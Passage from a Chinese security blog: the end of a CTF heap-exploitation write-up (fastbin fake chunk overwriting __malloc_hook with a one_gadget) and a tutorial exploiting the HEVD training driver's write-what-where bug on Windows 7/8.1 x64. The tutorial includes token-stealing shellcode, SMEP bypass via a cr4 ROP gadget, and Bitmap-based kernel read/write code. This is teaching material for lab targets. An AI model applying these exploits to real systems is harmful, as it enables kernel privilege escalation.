我们这里考虑的是使用malloc_hook函数来getshell,当调用 malloc 时,如果 malloc_hook 不为空则调用指向的这个函数,所以这里我们传入一个 one-gadget 即可,首先我们需要找到一个fake chunk,我们将其申请到然后将 one-gadget 写入,它的size选择在0x10~0x80之间即可,这里选择的是mallc_hook上面一排的地方,为了使我们的user data刚好能够写到malloc_hook的位置

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x7f9c3e9d4000+0x399acd
0x7f9c3ed6dacd <_IO_wide_data_0+301>:0x9c3ed69f000000000x000000000000007f
0x7f9c3ed6dadd:0x9c3ea504200000000x9c3ea503c000007f
0x7f9c3ed6daed <__realloc_hook+5>:0x000000000000007f0x0000000000000000
0x7f9c3ed6dafd:0x00000000000000000x0000000000000000
0x7f9c3ed6db0d <main_arena+13>:0x00000000000000000x0000000000000000
0x7f9c3ed6db1d <main_arena+29>:0x00000000000000000x0000000000000000
0x7f9c3ed6db2d <main_arena+45>:0x00000000000000000x0000000000000000
0x7f9c3ed6db3d <main_arena+61>:0x00000000000000000x0000000000000000
0x7f9c3ed6db4d <main_arena+77>:0x00000000000000000xc4480921a0000000
0x7f9c3ed6db5d <main_arena+93>:0x00000000000000550xc448092080000000

利用fast bin机制进行如下构造,我们需要申请到fake_chunk的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
code:
malloc(0x60)
free(4)
fill(2,p64(fake_chunk)) # chunk[2]->fd = fake chunk
debugger:
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55c448092080 —▸ 0x7f9c3ed6dacd (_IO_wide_data_0+301) ◂— 0x9c3ea50420000000
0x80: 0x0
unsortedbin
all: 0x55c4480920f0 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c4480920f0
smallbins
empty
largebins
empty

继续malloc两次即可申请到fake chunk的地方,就可以对malloc_hook进行写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
code:
malloc(0x60)
malloc(0x60) # malloc fake chunk
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x9c3ea50420000000
0x80: 0x0
unsortedbin
all: 0x55c4480920f0 —▸ 0x7f9c3ed6db58 (main_arena+88) ◂— 0x55c4480920f0
smallbins
empty
largebins
empty

最后我们构造fake chunk,写入one_gadget即可,这里根据自己的libc版本查询相应的one_gadget

1
2
3
4
5
6
7
8
# construct fake chunk
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x3f35a) # one_gadgets
fill(6, payload)

# trigger
malloc(255)

最后getshell

1
2
3
4
5
6
7
8
9
10
11
12
$ ls
[DEBUG] Sent 0x3 bytes:
'ls\n'
[DEBUG] Received 0x2f bytes:
'0ctfbabyheap core exp.py libc.so.6\n'
0ctfbabyheap core exp.py libc.so.6
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x8 bytes:
'thunder\n'
thunder

总结

这道题目因为可以自己构造堆的结构,所以比较自由,利用的方法也非常多,我的exp是针对我的deepin环境,想要在不同平台进行利用,需要查看自己libc中的偏移,修改部分偏移即可,一些知识点总结如下

  1. 保护全开可以覆写malloc_hook,free_hook等函数
  2. small chunk泄露fd和bk,从而泄露libc的手法
  3. 堆溢出的前提下对fast bin检查机制的一些绕过手法
]]>
<h1 id="0x00:Introduction"><a href="#0x00:Introduction" class="headerlink" title="0x00:Introduction"></a>0x00:Introduction</h1><p>本篇文章主要总结自己
www漏洞从win7-win10 https://thunderjie.github.io/2019/08/19/www漏洞从win7-win10/ 2019-08-19T14:22:39.000Z 2020-05-07T03:27:10.138Z 0x00:前言

本篇文章主要分享HEVD这个Windows内核漏洞训练项目中的Write-What-Where漏洞在win7 x64到win10 x64 1605的一个爬坑过程,Windows内核漏洞的原理比较简单,关键点在于exp的编写,这里我从win7 x64开始说起,看此文章之前你需要有以下准备:

  • Windows相应版本的虚拟机
  • 配置好windbg等调试工具,建议配合VirtualKD使用
  • HEVD+OSR Loader配合构造漏洞环境

如果你不是很清楚这个漏洞的基本原理的话,你可以从我的另一篇文章了解到这个漏洞的原理以及在win 7 x86下的利用,我这里就不多加赘述了

0x01:Windows 7 x64利用

让我们简单回顾一下在Windows 7 x86下我们利用的利用思路和关键代码,全部的代码参考 => 这里

利用思路

  • 初始化句柄等结构
  • 计算我们需要Hook的地址HalDispatchTable+0x4
  • 调用TriggerArbitraryOverwrite函数将shellcode地址放入Hook地址
  • 调用NtQueryIntervalProfile函数触发漏洞
  • 调用cmd验证提权结果

关键代码

计算Hook地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DWORD32 GetHalOffset_4()
{
// ntkrnlpa.exe in kernel space base address
PVOID pNtkrnlpaBase = NtkrnlpaBase();

printf("[+]ntkrnlpa base address is 0x%p\n", pNtkrnlpaBase);

// ntkrnlpa.exe in user space base address
HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");

// HalDispatchTable in user space address
PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");

DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;

printf("[+]HalDispatchTable+0x4 is 0x%p\n", hal_4);

return (DWORD32)hal_4;
}

调用问题函数执行shellcode

1
2
3
4
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile");

printf("[+]NtQueryIntervalProfile address is 0x%x\n", NtQueryIntervalProfile);
NtQueryIntervalProfile(0x1337, &interVal);

总所周知Windows 7 x64是64位的,所以我们很快的就可以想到和32位的不同,所以我们在32位的基础上只需要改一下长度应该就可以拿到system权限了,实际上还是有很多坑的,这里我分享几个我遇到的坑,第一个就是我们的shellcode需要修改,因为是64位,所以偏移都会有改变,但是原理是不会变的

  • 当前线程中找到_KTHREAD结构体
  • 找到_EPROCESS结构体
  • 找到当前线程的token
  • 循环便利链表找到system系统的token
  • 替换token
1
2
3
4
5
6
7
8
9
10
11
12
13
14
movrax, gs:[188h]
movrax, [rax+210h]
mov rcx, rax
mov rdx, 4

findSystemPid:
mov rax, [rax+188h]
sub rax, 188h
cmp [rax+180h], rdx
jnz findSystemPid

mov rdx, [rax+0208h]
mov [rcx+0208h], rdx
ret

Shellcode在64位下的编译

首先第一个就是shellcode如何放置在64位的编译环境下,如果是像32位那样直接在代码中嵌入汇编是行不通的,这里我们需要以下几步来嵌入汇编代码(我使用的环境是VS2019,当然以前的版本也可以)

  1. 项目源文件中多创建一个ShellCode.asm文件,放入我们的shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.code
ShellCode proc
movrax, gs:[188h]
movrax, [rax+210h]
mov rcx, rax
mov rdx, 4

findSystemPid:
mov rax, [rax+188h]
sub rax, 188h
cmp [rax+180h], rdx
jnz findSystemPid

mov rdx, [rax+0208h]
mov [rcx+0208h], rdx
ret

ShellCode endp
end
  1. 右键ShellCode.asm文件,点击属性,生成中排除选择否,项类型选择自定义生成工具

1564740624883

  1. 在自定义工具里面的命令行和输出填写如下内容
1
2
ml64 /c %(filename).asm
%(filename).obj;%(outputs)

1564743547152

  1. 在ShellCode.h中申明如下内容,然后在主利用函数中引用即可
1
2
3
#pragma once

void ShellCode();

shellcode的放置

第二个坑就是shellcode的放置,在x86中我们是如下方法实现shellcode的放置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
VOID Trigger_shellcode(DWORD32 where, DWORD32 what)
{
WRITE_WHAT_WHERE exploit;
DWORD lpbReturn = 0;
exploit.Where = (PVOID)where;
exploit.What = (PVOID)& what;

printf("[+]Write at 0x%p\n", where);
printf("[+]Write with 0x%p\n", what);
printf("[+]Start to trigger...\n");

DeviceIoControl(hDevice,
0x22200B,
&exploit,
sizeof(WRITE_WHAT_WHERE),
NULL,
0,
&lpbReturn,
NULL);

printf("[+]Success to trigger...\n");
}

因为我们现在是qword而不是dword,也就是说我们需要调用两次才能将我们的地址完全写进去,所以构造出如下的片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
VOID Trigger_shellcode(UINT64 where, UINT64 what)
{

WRITE_WHAT_WHERE exploitlow;
WRITE_WHAT_WHERE exploithigh;
DWORD lpbReturn = 0;

UINT32 lowValue = what;
UINT32 highvalue = (what >> 0x20);

exploitlow.What = (PULONG_PTR)& what;
exploitlow.Where = (PULONG_PTR)where;

printf("[+]Start to trigger ");

DeviceIoControl(hDevice,
0x22200B,
&exploitlow,
0x10,
NULL,
0,
&lpbReturn,
NULL);

exploithigh.What = (PULONG_PTR)& highvalue;
exploithigh.Where = (PULONG_PTR)(where + 0x4);

DeviceIoControl(hDevice,
0x22200B,
&exploithigh,
0x10,
NULL,
0,
&lpbReturn,
NULL);

printf("=> done!\n");
}

最后整合一下代码即可实现利用,整体代码和验证结果参考 => 这里

0x02:Windows 8.1 x64利用

好了win7我们已经完成了利用,我们开始研究win8下的利用,首先我们需要了解一些win8的安全机制,我们拿在win7 x64下的exp直接拖入win8运行观察会发生什么,果不其然蓝屏了,我们查看一下在windbg中的分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
*** Fatal System Error: 0x000000fc
(0x00007FF6F3B31400,0x1670000089B30025,0xFFFFD000210577E0,0x0000000080000005)

Break instruction exception - code 80000003 (first chance)
...
0: kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc) // 关注点
An attempt was made to execute non-executable memory. The guilty driver
is on the stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: 00007ff6f3b31400, Virtual address for the attempted execute.
Arg2: 1670000089b30025, PTE contents.
Arg3: ffffd000210577e0, (reserved)
Arg4: 0000000080000005, (reserved)

windbg中提示ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY这个错误,我们解读一下这句话,企图执行不可执行的内存,等等,这不就是我们pwn中的NX保护吗

SMEP

我们详细来了解一下这个保护机制,SMEP保护开启的时候我们用户层的代码不能在内核层中执行,也就是说我们的shellcode不能得到执行

1564814968337

这个时候我们回想一下绕过NX的方法,瞬间就想到了ROP,那么我们现在是要拿ROP帮我们做哪些事情呢?我们看下面这张图,可以看到我们的SMEP标志位在第20位,也就是说我们只需要将cr4寄存器修改为关闭SMEP的状态即可运行我们的shellcode了

1564815377766

ROPgadgets

我们来查看一下我们的cr4寄存器的运行在我的环境下触发漏洞前后的对比

1
2
3
4
.formats 00000000001506f8 // 开启
Binary: 00000000 00000000 00000000 00000000 00000000 0001 0101 00000110 11111000
.formats 0x406f8 // 关闭
Binary: 00000000 00000000 00000000 00000000 00000000 0000 0100 00000110 11111000

也就是说我们只需要将cr4修改为0x406f8即可在内核运行我们的shellcode从而提权,那么如何选择我们的ROP呢,我们来观察以下代码片段,可以看到里可以通过rax来修改cr4,那么问题就简单了,我们只需要把rax设为0x406f8不就行了吗,ROPgadgets的计算我们可以通过偏移来查找,首先我们通过前面的知识计算出内核基地址,然后在windbg中用u命令查看KiConfigureDynamicProcessor+0x40的地址,我们用该地址减去基地址即可得到偏移,有了偏移我们加上基地址就可以得到我们ROPgadgets的位置了

1
2
3
4
5
1: kd> u KiConfigureDynamicProcessor+0x40
nt!KiConfigureDynamicProcessor+0x40:
fffff803`20ffe7cc 0f22e0 mov cr4,rax
fffff803`20ffe7cf 4883c428 add rsp,28h
fffff803`20ffe7d3 c3 ret

让我们再次看看我们在win7利用中如何进行Hook的,我们是直接把Hal_hook_address替换为ShellCode的地址

1
2
Trigger_shellcode(Hal_hook_address,(UINT64)&ShellCode);
NtQueryIntervalProfile(0x1234, &interVal);

我们想要做的是把Hal_hook_address先替换为我们的ROP,修改了cr4寄存器之后再执行我们的shellcode,这就需要进行多次读写的操作,显然光靠一个Trigger_shellcode是不够的,这里隆重介绍我们的 BITMAP 对象,这个对象在Windows 8.1中可谓是一个必杀技,用好它可以实现任意读和任意写

BITMAP对象

首先我们需要了解一下这个对象的大致信息,我们直接用CreateBitmap函数创建一个对象然后下断点进行观察,函数原型如下

1
2
3
4
5
6
7
HBITMAP CreateBitmap(
_In_ int nWidth,
_In_ int nHeight,
_In_ UINT cPlanes,
_In_ UINT cBitsPerPel,
_In_ const VOID *lpvBits
);

我们构造如下代码

1
2
3
4
5
6
int main()
{
HBITMAP hBitmap = CreateBitmap(0x10, 2, 1, 8, NULL);
__debugbreak();
return 0;
}

这里我们需要用GdiSharedHadnleTable这个句柄表来泄露我们hBitmap的地址,先不用管原理是什么,总之我们现在先找到我们Bitmap的位置,可以看到我们通过一系列操作居然找到了我们的Bitmap,其分配在会话池,大小是0x370

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
1: kd> r
rax=000000007d050040 rbx=00000043e8613860 rcx=00007ffea6a934fa
rdx=0000000000000000 rsi=0000000000000000 rdi=00000043e8617d50
rip=00007ff7468c1033 rsp=00000043e858f8c0 rbp=0000000000000000
r8=00000043e858f8b8 r9=0000000000000000 r10=0000000000000000
r11=0000000000000246 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
WWW!main+0x23:
0033:00007ff7`468c1033 cc int 3
1: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb
+0x0f8 GdiSharedHandleTable : 0x00000043`e8920000
1: kd> ? rax&ffff
Evaluate expression: 64 = 00000000`00000040
1: kd> ? 0x00000043`e8920000+40*18
Evaluate expression: 291664692736 = 00000043`e8920600
1: kd> dq 00000043`e8920600
00000043`e8920600 fffff901`43c3dca0 40057d05`000008f4
00000043`e8920610 00000000`00000000 fffff901`400c2ca0
00000043`e8920620 40050405`00000000 00000000`00000000
00000043`e8920630 fffff901`43c5ed60 40080508`00000000
00000043`e8920640 00000000`00000000 fffff901`43d0d000
00000043`e8920650 40050505`00000000 00000000`00000000
00000043`e8920660 fffff901`43d0b000 40050305`00000000
00000043`e8920670 00000000`00000000 fffff901`43cb9d40
1: kd> !pool fffff901`43c3dca0
unable to get nt!ExpHeapBackedPoolEnabledState
Pool page fffff90143c3dca0 region is Paged session pool
fffff90143c3d000 size: 9f0 previous size: 0 (Allocated) Gla1
fffff90143c3d9f0 size: 90 previous size: 9f0 (Allocated) DCba Process: ffffe00002475080
fffff90143c3da80 size: 50 previous size: 90 (Free) Free
fffff90143c3dad0 size: a0 previous size: 50 (Allocated) Usqm
fffff90143c3db70 size: 30 previous size: a0 (Allocated) Uspi Process: ffffe00002b83900
fffff90143c3dba0 size: f0 previous size: 30 (Allocated) Gla8
*fffff90143c3dc90 size: 370 previous size: f0 (Allocated) *Gla5
Pooltag Gla5 : GDITAG_HMGR_LOOKASIDE_SURF_TYPE, Binary : win32k.sys

让我们理一下这个过程,首先从命令中我们知道GdiSharedHandleTable是在PEB中,而GdiSharedHandleTable本身是一个保存GDI对象的句柄表,其指向的是一个叫GDICELL64的结构,其大小是0x18:

1
2
3
4
5
6
7
8
typedef struct{
PVOID pKernelAddress;
USHORT wProcessID;
USHORT wCount;
USHORT wUpper;
PVOID wType;
PVOID64 pUserAddress;
} GDICELL64;

从上面我们可以看到它可以泄露我们内核中的地址,过程就是先计算出函数返回值(rax)的低4字节作为索引,然后乘上GDICELL64的大小0x18,再加上GdiSharedHandleTable的地址即可得到我们Bitmap的地址,换成代码实现就是

  • 首先找到我们的TEB
  • 通过TEB找到PEB
  • 再通过PEB找到GdiSharedHandleTable句柄表
  • 通过计算获得Bitmap的地址

关键实现代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
DWORD64 getGdiShreadHandleTableAddr()
{
DWORD64 tebAddr = (DWORD64)NtCurrentTeb();
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
DWORD64 GdiShreadHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
return GdiShreadHandleTableAddr;
}

DWORD64 getBitMapAddr(HBITMAP hBitmap)
{
WORD arrayIndex = LOWORD(hBitmap);
return *(PDWORD64)(getGdiShreadHandleTableAddr() + arrayIndex * 0x18);
}

让我们来查看一下Bitmap的结构,我们只需要关注重点的位置就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
typedef struct{
BASEOBJECT64 BaseObject; // 0x18bytes
SURFOBJ64 SurfObj;
.......
} SURFACE64

typedef struct {
ULONG64 hHmgr; // 8bytes
ULONG32 ulShareCount; // 4bytes
WORD cExclusiveLock; // 2bytes
WORD BaseFlags; // 2bytes
ULONG64 Tid; // 8bytes
} BASEOBJECT64;

typedef struct{
ULONG64 dhsurf; // 8bytes
ULONG64 hsurf; // 8bytes
ULONG64 dhpdev; // 8bytes
ULONG64 hdev; // 8bytes
SIZEL sizlBitmap; // 8bytes
ULONG64 cjBits; // 8bytes
ULONG64 pvBits; // 8bytes
ULONG64 pvScan0; // 8bytes
ULONG32 lDelta; // 4bytes
ULONG32 iUniq; // 4bytes
ULONG32 iBitmapFormat; // 4bytes
USHORT iType; // 2bytes
USHORT fjBitmap; // 2bytes
} SURFOBJ64

这里我借鉴图片来说明,我们关注的点就只有一个pvScan0结构,它的偏移是 +0x50 处,可以发现它指向我们的Pixel Data,这个结构就是我们CreateBitmap函数传入的第五个参数,也就是说我们传入aaaa,那么pVscan0指向地址的内容就是aaaa

6

任意读写

我们刚才分析了那么多,说到底都是为了一个目的 => 任意读任意写,那么如何才能任意读和写呢?这里我再介绍两个比较重要的函数SetBitmapBitsGetBitmapBits其原型如下

1
2
3
4
5
6
7
8
9
10
11
LONG SetBitmapBits(
HBITMAP hbm,
DWORD cb,
const VOID *pvBits
);

LONG GetBitmapBits(
HBITMAP hbit,
LONG cb,
LPVOID lpvBits
);

这两个函数的作用是向pvScan0指向的地址写(读)cb byte大小的数据,说到这里貌似有一点任意读写的感觉了,光靠一个pvScan0是肯定不能任意读写的,所以这里我们考虑使用两个pvScan0,我们把一个pvScan0指向另外一个pvScan0,我们有TriggerArbitraryOverwrite函数可以实现将一个pvScan0指向另一个pvScan0,然后我们再调用SetBitmapBitsGetBitmapBits函数岂不是就可以进行任意读写了,我们用图片说明:

7

我们任意读写的代码构造如下,read函数实现将whereRead的内容读到whatValue的位置,write函数实现将whatValue的内容写入whereWrite的位置:

1
2
3
4
5
6
7
8
9
10
11
VOID readOOB(DWORD64 whereRead, LPVOID whatValue, int len)
{
SetBitmapBits(hManagerBitmap, len, &whereRead);
GetBitmapBits(hWorkerBitmap, len, whatValue);// read
}

VOID writeOOB(DWORD64 whereWrite, LPVOID whatValue, int len)
{
SetBitmapBits(hManagerBitmap, len, &whereWrite);
SetBitmapBits(hWorkerBitmap, len, &whatValue);// write
}

让我们平复一下激动的心情,我们现在有了任意读和写的机会了,我们只需要将我们的ROPgadgets写入我们需要Hook的位置,然后调用问题函数执行shellcode就行了,这里我们需要注意的是,我们还需要调整调整堆栈的一些信息,不然很容易就蓝屏了,这里我们进行三次读写操作

1
2
3
4
readOOB(Hal_hook_address, &lpRealHooAddress, sizeof(LPVOID));  // 保存Hook地址
writeOOB(Hal_hook_address, (LPVOID)ROPgadgets, sizeof(DWORD64));// 写入ROPgadgets
//调用问题函数
writeOOB(Hal_hook_address, (LPVOID)lpRealHooAddress, sizeof(DWORD64)); // 还原Hook地址,不然会蓝屏

整合思路

我们最后整合一下思路

  • 初始化句柄等结构
  • 内核中构造放置我们的shellcode
  • 申请两个Bitmap并泄露Bitmap中的pvScan0
  • 调用TriggerArbitraryOverwrite函数将一个pvScan0指向另一个pvScan0
  • 两次读写实现写入ROPgadgets
  • 调用NtQueryIntervalProfile问题函数
  • 一次写入操作实现还原Hook地址的内容

最后整合一下代码即可实现利用,整体代码和验证结果参考 => 这里

0x03:Windows 8.1 x64的一个坑

首先我们回顾一下我们在上面的利用中可能存在的一个坑

Shellcode的构造

上篇我只是简单提了一下内核中构造放置我们的shellcode,如果你看了我的源码,里面的构造函数如下所示:

1
2
3
4
5
6
7
8
9
10
11
VOID ConstrutShellcode()
{
printf("[+]Start to construt Shellcode\n");
VOID* shellAddr = (void*)0x100000;
shellAddr = VirtualAlloc(shellAddr, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memset(shellAddr, 0x41, 0x1000);
CopyMemory((VOID*)0x100300, ShellCode, 0x200);
//__debugbreak();
UINT64* recoverAddr = (UINT64*)((PBYTE)(0x100300) + 0x44);
*(recoverAddr) = (DWORD64)ntoskrnlbase() + 0x4c8f75; // nt!KeQueryIntervalProfile+0x25
}

你可能会疑惑recoverAddr这个东西是拿来做什么用的,先不要着急我们在看看我们shellcode的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.code
ShellCode proc
; shellcode编写
mov rax, gs:[188h]
mov rax, [rax+220h]
movrcx, rax
movrdx, 4

findSystemPid:
movrax, [rax+2e8h]
subrax, 2e8h
cmp[rax+2e0h], rdx
jnz findSystemPid

mov rdx, [rax+348h]
mov [rcx+348h], rdx
sub rsp,30h;堆栈平衡
mov rax, 0aaaaaaaaaaaaaaaah ;这个位置放进入Gadgets返回后的后半部分函数
mov [rsp], rax
ret

ShellCode endp
end

从上面可以看到,我在最后的地方用了几句汇编将堆栈平衡了,这其实是我调试了很久才得到的结果,我简单提一下这个过程,首先我们知道我们把shellcode放置在了0x100300的位置,我们还知道我们需要执行我们的ROP,所以我们需要在windbg中下两个硬件断点观察,注意shellcode中不能用int 3下软件断点,这样会修改堆栈的平衡导致一些问题

1
2
3
4
5
6
7
8
9
10
11
12
13
1: kd> u nt!KiConfigureDynamicProcessor+0x40
nt!KiConfigureDynamicProcessor+0x40:
fffff803`20ffe7cc 0f22e0 mov cr4,rax
fffff803`20ffe7cf 4883c428 add rsp,28h
fffff803`20ffe7d3 c3 ret
...
1: kd> ba e1 fffff803`20ffe7cc
1: kd> u 100300
00000000`00100300 65488b042588010000 mov rax,qword ptr gs:[188h]
00000000`00100309 488b8020020000 mov rax,qword ptr [rax+220h]
00000000`00100310 488bc8 mov rcx,rax
...
1: kd> ba e1 00000000`00100300

我们g运行到第一个断点,t单步到ret处,查看堆栈结构和我们现在rc4寄存器的值,可以发现我们的寄存器已经被修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
1: kd> g
Breakpoint 0 hit
nt!KiConfigureDynamicProcessor+0x40:
fffff803`20ffe7cc 0f22e0 mov cr4,rax
1: kd> t
nt!KiConfigureDynamicProcessor+0x43:
fffff803`20ffe7cf 4883c428 add rsp,28h
1: kd> t
nt!KiConfigureDynamicProcessor+0x47:
fffff803`20ffe7d3 c3 ret
1: kd> dqs rsp
ffffd000`27acf9a0 00000000`00100300
ffffd000`27acf9a8 00000000`00000000
ffffd000`27acf9b0 00000000`00000000
ffffd000`27acf9b8 00000000`00000000
ffffd000`27acf9c0 00000000`00000000
ffffd000`27acf9c8 fffff803`2114ff36 nt!NtQueryIntervalProfile+0x3e
ffffd000`27acf9d0 00000000`00000000
ffffd000`27acf9d8 00000000`00000000
ffffd000`27acf9e0 00000000`00000000
ffffd000`27acf9e8 00000000`00000000
ffffd000`27acf9f0 00000000`00000000
ffffd000`27acf9f8 fffff803`20de28b3 nt!KiSystemServiceCopyEnd+0x13
ffffd000`27acfa00 ffffe000`01b9a4c0
ffffd000`27acfa08 00007ffe`00000008
ffffd000`27acfa10 ffffffff`fff85ee0
ffffd000`27acfa18 ffffd000`00000008
1: kd> r cr4
cr4=00000000000406f8

我们t单步再次观察堆栈,这里已经开始执行我们的shellcode了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1: kd> t
00000000`00100300 65488b042588010000 mov rax,qword ptr gs:[188h]
1: kd> dqs rsp
ffffd000`27acf9a8 00000000`00000000
ffffd000`27acf9b0 00000000`00000000
ffffd000`27acf9b8 00000000`00000000
ffffd000`27acf9c0 00000000`00000000
ffffd000`27acf9c8 fffff803`2114ff36 nt!NtQueryIntervalProfile+0x3e
ffffd000`27acf9d0 00000000`00000000
ffffd000`27acf9d8 00000000`00000000
ffffd000`27acf9e0 00000000`00000000
ffffd000`27acf9e8 00000000`00000000
ffffd000`27acf9f0 00000000`00000000
ffffd000`27acf9f8 fffff803`20de28b3 nt!KiSystemServiceCopyEnd+0x13
ffffd000`27acfa00 ffffe000`01b9a4c0
ffffd000`27acfa08 00007ffe`00000008
ffffd000`27acfa10 ffffffff`fff85ee0
ffffd000`27acfa18 ffffd000`00000008
ffffd000`27acfa20 000000bf`00000000

我们继续单步运行到shellcode中sub rsp,30h的位置,查看堆栈之后继续单步,我们可以看到rsp中内容被修改为了0x010033e,而0x010033e中存放的内容正是我们nt!KeQueryIntervalProfile+0x25中的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
1: kd> t
00000000`0010033e 4883ec30 sub rsp,30h
1: kd> dqs rsp
ffffd000`27acf9a8 00000000`00000000
ffffd000`27acf9b0 00000000`00000000
ffffd000`27acf9b8 00000000`00000000
ffffd000`27acf9c0 00000000`00000000
ffffd000`27acf9c8 fffff803`2114ff36 nt!NtQueryIntervalProfile+0x3e
ffffd000`27acf9d0 00000000`00000000
ffffd000`27acf9d8 00000000`00000000
ffffd000`27acf9e0 00000000`00000000
ffffd000`27acf9e8 00000000`00000000
ffffd000`27acf9f0 00000000`00000000
ffffd000`27acf9f8 fffff803`20de28b3 nt!KiSystemServiceCopyEnd+0x13
ffffd000`27acfa00 ffffe000`01b9a4c0
ffffd000`27acfa08 00007ffe`00000008
ffffd000`27acfa10 ffffffff`fff85ee0
ffffd000`27acfa18 ffffd000`00000008
ffffd000`27acfa20 000000bf`00000000
1: kd> t
00000000`00100342 48b875ff142103f8ffff mov rax,offset nt!KeQueryIntervalProfile+0x25 (fffff803`2114ff75)
1: kd> dqs rsp
ffffd000`27acf978 00000000`0010033e
ffffd000`27acf980 00000000`00000010
ffffd000`27acf988 00000000`00000344
ffffd000`27acf990 ffffd000`27acf9a8
ffffd000`27acf998 00000000`00000018
ffffd000`27acf9a0 00000000`00100300
ffffd000`27acf9a8 00000000`00000000
ffffd000`27acf9b0 00000000`00000000
ffffd000`27acf9b8 00000000`00000000
ffffd000`27acf9c0 00000000`00000000
ffffd000`27acf9c8 fffff803`2114ff36 nt!NtQueryIntervalProfile+0x3e
ffffd000`27acf9d0 00000000`00000000
ffffd000`27acf9d8 00000000`00000000
ffffd000`27acf9e0 00000000`00000000
ffffd000`27acf9e8 00000000`00000000
ffffd000`27acf9f0 00000000`00000000
1: kd> u 00000000`0010033e
00000000`0010033e 4883ec30 sub rsp,30h
00000000`00100342 48b875ff142103f8ffff mov rax,offset nt!KeQueryIntervalProfile+0x25 (fffff803`2114ff75)
00000000`0010034c 48890424 mov qword ptr [rsp],rax
00000000`00100350 c3 ret
00000000`00100351 cc int 3
00000000`00100352 cc int 3
00000000`00100353 cc int 3
00000000`00100354 cc int 3

nt!KeQueryIntervalProfile+0x25是哪里呢,这个值刚好是我们Hook位置的下一句汇编,我们将其放回原位即可做到原封不动的还原内核函数,这样就可以完美的提权而不蓝屏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0: kd> u nt!KeQueryIntervalProfile
nt!KeQueryIntervalProfile:
fffff803`2114ff50 4883ec48 sub rsp,48h
fffff803`2114ff54 83f901 cmp ecx,1
fffff803`2114ff57 7430 je nt!KeQueryIntervalProfile+0x39 (fffff803`2114ff89)
fffff803`2114ff59 ba18000000 mov edx,18h
fffff803`2114ff5e 894c2420 mov dword ptr [rsp+20h],ecx
fffff803`2114ff62 4c8d4c2450 lea r9,[rsp+50h]
fffff803`2114ff67 8d4ae9 lea ecx,[rdx-17h]
fffff803`2114ff6a 4c8d442420 lea r8,[rsp+20h]
0: kd> u
nt!KeQueryIntervalProfile+0x1f:
fffff803`2114ff6f ff15f377ddff call qword ptr [nt!HalDispatchTable+0x8 (fffff803`20f27768)]
fffff803`2114ff75 85c0 test eax,eax // nt!KeQueryIntervalProfile+0x25
fffff803`2114ff77 7818 js nt!KeQueryIntervalProfile+0x41 (fffff803`2114ff91)
fffff803`2114ff79 807c242400 cmp byte ptr [rsp+24h],0
fffff803`2114ff7e 7411 je nt!KeQueryIntervalProfile+0x41 (fffff803`2114ff91)
fffff803`2114ff80 8b442428 mov eax,dword ptr [rsp+28h]
fffff803`2114ff84 4883c448 add rsp,48h
fffff803`2114ff88 c3 ret

0x02:Windows 10 1511-1607 x64下的利用

